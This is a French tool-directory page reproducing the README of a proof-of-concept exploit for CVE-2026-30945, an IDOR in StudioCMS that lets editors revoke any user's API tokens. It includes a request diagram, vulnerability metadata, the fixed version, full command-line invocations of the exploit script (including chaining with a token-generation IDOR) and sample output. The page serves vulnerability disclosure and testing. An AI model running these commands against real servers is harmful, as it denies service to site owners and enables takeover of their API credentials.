Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-30945-PoC — Preuve de concept d'exploitation pour CVE-2026-30945, une IDOR dans StudioCMS permettant la révocation arbitraire de jetons API et le déni de service. Inclut des modes de test manuel et automatisé. | Kitploit
Outils/GitHubGitHub/filipegaudard/cve-2026-30945-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des API
GitHubfilipegaudard/cve-2026-30945-poc

CVE-2026-30945-PoC

Preuve de concept d'exploitation pour CVE-2026-30945, une IDOR dans StudioCMS permettant la révocation arbitraire de jetons API et le déni de service. Inclut des modes de test manuel et automatisé.

Voir le dépôt
23il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🗑️ CVE-2026-30945

StudioCMS IDOR — Révocation arbitraire de jetons API entraînant un déni de service

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Vue d'ensemble

Le point de terminaison DELETE /studiocms_api/dashboard/api-tokens dans StudioCMS ≤ 0.3.0 permet à tout utilisateur authentifié disposant de privilèges editor ou supérieurs de révoquer des jetons API appartenant à n'importe quel autre utilisateur, y compris les comptes admin et owner.

Le gestionnaire accepte tokenID et userID directement depuis la charge utile de la requête sans vérifier la propriété du jeton, l'identité de l'appelant ou la hiérarchie des rôles. Cela permet un déni de service ciblé contre les intégrations et automatisations critiques.

Lié : Cette vulnérabilité partage la même cause racine que CVE-2026-30944 (IDOR de génération de jetons). Lorsqu'elles sont enchaînées, un attaquant peut révoquer les jetons légitimes et en générer de nouveaux, réalisant une prise de contrôle complète des identifiants API.

Flux d'attaque

┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Attaquant  │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Serveur    │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Pipeline    │
                                              │  CI/CD du    │
                                              │  propriétaire│──► ❌ 401 Unauthorized
                                              │  Intégration │──► ❌ Accès API perdu
                                              │  Supervision │──► ❌ Échec silencieux
                                              └──────────────┘

Détails de la vulnérabilité

ChampValeur
CVECVE-2026-30945
GHSAGHSA-8rgj-vrfr-6hqr
CVSS v3.17.1 (Élevé) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
CWECWE-639 : Contournement d'autorisation via une clé contrôlée par l'utilisateur
CWE (secondaire)CWE-863 : Autorisation incorrecte
MITRE ATT&CKT1531 — Suppression d'accès au compte
OWASP APIAPI1:2023 — Autorisation au niveau des objets cassée
Affectéstudiocms ≤ 0.3.0
Corrigé dansstudiocms 0.4.0

Contenu

FichierDescription
cve_2026_30945_poc.pyScript d'exploitation Python avec modes manuel et automatisé
README.mdCe fichier
LICENSELicence MIT

Prérequis

  • StudioCMS ≤ 0.3.0 (version vulnérable)
  • Python 3.8+
  • Identifiants valides pour au moins un compte Editor
  • Un UUID d'enregistrement de jeton connu (ID interne, pas le JWT)
pip install requests colorama

Démarrage rapide

Exploitation manuelle

# Révoquer un jeton spécifique appartenant au propriétaire
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Enchaîner avec CVE-2026-30944 : créer d'abord un jeton pour la cible
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Enregistrer les résultats au format JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

Tests automatisés

# Tester avec plusieurs rôles
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

Arguments

Requis

ArgumentDescription
-u, --urlURL de base StudioCMS cible
--target-uuidUUID de l'utilisateur cible dont le jeton sera révoqué

Optionnels

ArgumentDescription
--token-idUUID interne de l'enregistrement du jeton à révoquer (pas le JWT). S'il est omis, le script tentera d'abord de créer un jeton via CVE-2026-30944

Mode manuel

ArgumentDescription
--usernameNom d'utilisateur pour l'authentification
--passwordMot de passe pour l'authentification

Mode de test automatisé

ArgumentDescription
--auto-testActiver les tests automatisés multi-rôles
--editor-userNom d'utilisateur du compte Editor
--editor-passMot de passe du compte Editor
--visitor-userNom d'utilisateur du compte Visitor
--visitor-passMot de passe du compte Visitor

Options

ArgumentDescription
--saveEnregistrer les résultats dans un fichier JSON
--no-ssl-verifyDésactiver la vérification du certificat SSL

Exemple de sortie

Système vulnérable

  ──────────────────────────────────────────────────────────
  PHASE 1 : Authentification
  ──────────────────────────────────────────────────────────
  [+] Authentifié en tant que 'editor01'
  [*] Utilisateur de session : editor01 (editor)
  [*] UUID de session : 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 3 : Révocation de jeton (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID du jeton :    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Révocation du jeton API de la cible...
  [+] Jeton révoqué ! Réponse du serveur : Token deleted
  [!] VULNÉRABILITÉ CONFIRMÉE — Jeton révoqué avec succès !
  [!] Les intégrations API de l'utilisateur cible sont désormais cassées (DoS)

Système corrigé

  ──────────────────────────────────────────────────────────
  PHASE 3 : Révocation de jeton (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID du jeton :    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Révocation du jeton API de la cible...
  [*] Accès refusé (403 Forbidden) — le point de terminaison est peut-être corrigé
  [-] Échec de la révocation : Accès refusé (403 Forbidden)

Chaîne d'attaque (CVE-2026-30944 + CVE-2026-30945)

Lorsqu'elle est combinée à l'IDOR de génération de jetons (CVE-2026-30944), un attaquant peut réaliser une prise de contrôle complète des identifiants API :

Télécharger l’outil